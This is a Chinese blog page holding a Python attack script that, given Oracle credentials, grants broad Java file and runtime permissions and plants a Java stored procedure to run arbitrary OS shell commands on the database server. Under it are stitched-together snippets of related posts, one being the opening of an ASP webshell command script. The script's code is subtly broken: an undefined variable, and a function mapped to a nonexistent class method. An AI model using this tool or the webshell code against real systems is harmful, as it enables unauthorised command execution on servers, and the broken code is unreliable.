oracle 创建存储过程执行命令脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# File: ora_exec_cmd.py
# Author: Persuit

import getopt
import sys
import cx_Oracle

def usage():

    print(‘Usage: python %s [options]‘ % sys.argv[0])
    print(‘‘)
    print(‘Options:‘)
    print(‘  -h HOST, --host=HOST              target server address‘)
    print(‘  -u USER, --user=USER              Username‘)
    print(‘  -p PASS, --pass=PASS              Password‘)
    print(‘  -s SID, --sid=SID                 Target Sid Name‘)
    print(‘  -P PORT, --port=PORT              Oracle Port‘)
    #print(‘  -b BYPASS, --bypass=BYPASS        Bypass Creation Of Evil Functions‘)
    print(‘  -c COMMAND, --command=COMMAND     COMMAND‘)

def connectDB(host = ‘‘,user = ‘‘,passwd = ‘‘,sid = ‘‘,port = 1521):

    try:
        connstr = ‘%s/%[email protected]%s:%d/%s‘ % (user,passwd,host,int(port),sid)
        conn=cx_Oracle.connect(connstr)
    except cx_Oracle.DatabaseError as e:
        print str(e)
        sys.exit(-1)

    return conn

def main():

    try:
        opts, args = getopt.getopt(sys.argv[1:], ‘h:u:p:s:P:c:‘, [‘host=‘, ‘user=‘, ‘passwd=‘, ‘sid=‘, ‘port=‘, ‘command=‘])
    except getopt.GetoptError as e:
        print(‘[-] %s‘ % (str(e)))
        usage()
        sys.exit(2)

    host = ‘‘
    user = ‘‘
    passwd = ‘‘
    sid = ‘‘
    port = 1521
    command = ‘‘

    for o, a in opts:
        if o in (‘-h‘, ‘--host‘):
            host = a
        elif o in (‘-u‘,‘--user‘):
            user = a
        elif o in (‘-p‘,‘--passwd‘):
            passwd = a
        elif o in (‘-s‘,‘--sid‘):
            sid = a
        elif o in (‘-P‘,‘--port‘):
            port = a
        elif o in (‘-c‘,‘--command‘):
            command = a
        else:
            pass

    if not host:
        print (‘[!] host not be empty !‘)
        usage()
        sys.exit(2)

    elif not user:
        print (‘[!] username not be empty!‘)
        usage()
        sys.exit(2)

    elif not passwd:
        print (‘[!] password not be empty!‘)
        usage()
        sys.exit(2)

    elif not sid:
        print (‘[!] sid not be empty!‘)
        usage()
        sys.exit(2)

    elif not command:
        print (‘[!] command not be empty!‘)
        usage()
        sys.exit(2)

    #conn = connectDB(‘127.0.0.1‘,‘Oracle‘,‘123456‘,‘sdfsdf‘,‘dbtest‘,1521)
    conn = connectDB(host,user,passwd,sid,port)
    cursor = conn.cursor()

    print ("[-] Setting permissions...\n")
    setpermission = ‘‘‘ BEGIN
                        dbms_java.grant_Permission(‘{0}‘, ‘java.io.FilePermission‘, ‘<<ALL FILES>>‘, ‘read ,write, execute, delete‘);
                        dbms_java.grant_Permission(‘{0}‘, ‘SYS:java.lang.RuntimePermission‘, ‘writeFileDescriptor‘, ‘‘);
                        dbms_java.grant_Permission(‘{0}‘, ‘SYS:java.lang.RuntimePermission‘, ‘readFileDescriptor‘, ‘‘);
                    END;‘‘‘.format(user.upper())
    cursor.execute(setpermission)
    #conn.commit()

    print ("[-] Creating Java class...\n")
    createjava = ‘‘‘create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String run_cmd(String args) {try {String[] fCmd;if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {fCmd = new String[3];fCmd[0] = "C:\\\\windows\\\\system32\\\\cmd.exe";fCmd[1] = "/c";fCmd[2] = command;}else {fCmd = new String[3];fCmd[0] = "/bin/sh";fCmd[1] = "-c";fCmd[2] = command;}final Process pr = Runtime.getRuntime().exec(fCmd);pr.waitFor();new Thread(new Runnable(){public void run() {BufferedReader br_in = null;try {br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));String buff = null;while ((buff = br_in.readLine()) != null) {System.out.println(buff);try {Thread.sleep(100); } catch(Exception e) {}}br_in.close();}catch (IOException ioe) {System.out.println("Exception caught printing process output.");ioe.printStackTrace();}finally { try { br_in.close(); } catch (Exception ex) {} }}}).start();new Thread(new Runnable(){public void run() {BufferedReader br_err = null;try {br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));String buff = null;while ((buff = br_err.readLine()) != null) {System.out.println("Error: " + buff);try {Thread.sleep(100); } catch(Exception e) {}}br_err.close();}catch (IOException ioe) {System.out.println("Exception caught printing process error.");ioe.printStackTrace();}finally { try { br_err.close(); } catch (Exception ex) {} }}}).start();}catch (Exception ex){System.out.println(ex.getLocalizedMessage());}}};‘‘‘
    cursor.execute(createjava)

    print ("[-] Creating function...\n")
    creatfunc = ‘‘‘create or replace function run_cmd( p_cmd in varchar2) return number as language java name ‘Util.runthis(java.lang.String) return integer‘;‘‘‘
    cursor.execute(creatfunc)

    print ("[-] Creating procedure...\n")
    creatproc = ‘‘‘create or replace procedure rc(p_cmd in varchar2) as x number; begin x := run_cmd(p_cmd);end;‘‘‘
    cursor.execute(creatproc)

    print ("[-] Exec cmd...\n")
    cmd = ‘‘‘DECLARE
                l_output DBMS_OUTPUT.chararr;
                l_lines  INTEGER := 1000;

             begin
                DBMS_OUTPUT.enable(1000000);
                DBMS_JAVA.SET_OUTPUT(1000000);
                rc(‘{0}‘);

             DBMS_OUTPUT.get_lines(l_output, l_lines);
             FOR i IN 1 .. l_lines LOOP
                DBMS_OUTPUT.put_line(l_output(i));
                NULL;
             END LOOP;
             end;‘‘‘.format(command)
    cursor.execute(cmd)

    print ("[-] Drop function...\n")
    dropfunc = ‘‘‘BEGIN
                    drop function run_cmd;
                  END;‘‘‘
    cursor.execute(dropfunc)

    cursor.close()
    conn.close()

if __name__ == ‘__main__‘:

    main()
时间: 2024-08-10 19:05:22

oracle 创建存储过程执行命令脚本的相关文章

expect实现远程主机自动执行命令脚本

2014年第一个脚本,哈哈!!! expect实现远程主机自动执行命令脚本: #!/usr/bin/expect -- if { [llength $argv] < 4 } { puts "Usage: $argv0 ip user passwd port commands timeout" exit 1 } match_max 600000 set ip [lindex $argv 0] set user [lindex $argv 1] set passwd [lindex

Linux下使用SSH非交互式远程执行命令脚本---ssh无密码登陆

通过SSH命令远程执行命令首先需要建立相关主机间的信任关系.否则,在执行命令前SSH命令会提示你输入远程主机的密码.建立主机间信任关系的方法如下-即ssh无密码输入: 假设我们有两台主机.主机名分别为linuxa和linuxb.首先在linuxa上以当前用户运行如下命令生成本主机的公钥和私钥文件: ssh-keygen -t rsa     上述命令执行后,隐藏目录~/.ssh下会出现两个文件:id_rsa和id_rsa.pub.其中,id_rsa.pub为公钥文件. 将该文件的内容追加到对端主

Oracle创建存储过程

  1.基本语法 create or replace procedure update_emp_sal (Name in out type, Name in out type, ... ) is begin end update_emp_sal; 2.写一个简单的例子修改emp表的ename字段 create or replace procedure update_emp ( v_empno varchar2, v_ename varchar2 ) is begin update emp set

oracle创建-存储过程和函数

--创建存储过程 CREATE OR REPLACE PROCEDURE xxxxxxxxxxx_p( --参数IN表示输入参数, --OUT表示输出参数,类型可以使用任意Oracle中的合法类型. is_ym IN CHAR) AS --定义变量 vs_msg VARCHAR2(4000); --错误信息变量 vs_ym_beg CHAR(6); --起始月份 vs_ym_end CHAR(6); --终止月份 vs_ym_sn_beg CHAR(6); --同期起始月份 vs_ym_sn_e

webshell下执行命令脚本汇集

cmd1.asp <object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object> <%if err then%> <object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A

oracle创建存储过程中遇到的问题

create or replace PROCEDURE CLEAR AS tname varchar(200);BEGIN tname:='''immediate trace name flush_cache'''; ------->>这一句中,单引号的作用相当于转义字符,将其中的一个单引号转义为要使用的单引号,不表示oracle中字符串的标                                                                      识,也就是这个

oracle创建存储过程并返回结果集(附C#调用代码)

使用存储过程中,最常用的莫过于查询数据表,并返回结果集. 在SQL SERVER 中,这类操作最简单,通过简单的select * from xx 即可完成.但是在Oracle中并不支持这种写法,那么我们怎么实现跟SQL SERVER同样的功能呢?且看以下代码: create or replace procedure sp_getdept (rep_type in varchar2,sel in varchar2,result out sys_refcursor) as seq varchar2(

linux下设置开机执行命令脚本

Linux下Redis开自启(Centos) 1 1vi /etc/init.d/redis 2脚本内容如下: # chkconfig: 2345 10 90 # description: Start and Stop redis PATH=/usr/local/bin:/sbin:/usr/bin:/bin REDISPORT=6379 EXEC=/usr/redisbin/redis-server REDIS_CLI=/usr/redisbin/redis-cli PIDFILE=/var/

expect脚本同步文件、指定host和要同步的文件、构建文件分发系统、批量远程执行命令

expect脚本同步文件 1.自动同步文件 [[email protected] shell]# vi 4.expect 增加如下脚本内容: #!/usr/bin/expect set passwd "123456" spawn rsync -av [email protected]:/tmp/12.txt /tmp/ expect { "yes/no" { send "yes\r"} "password:" { send &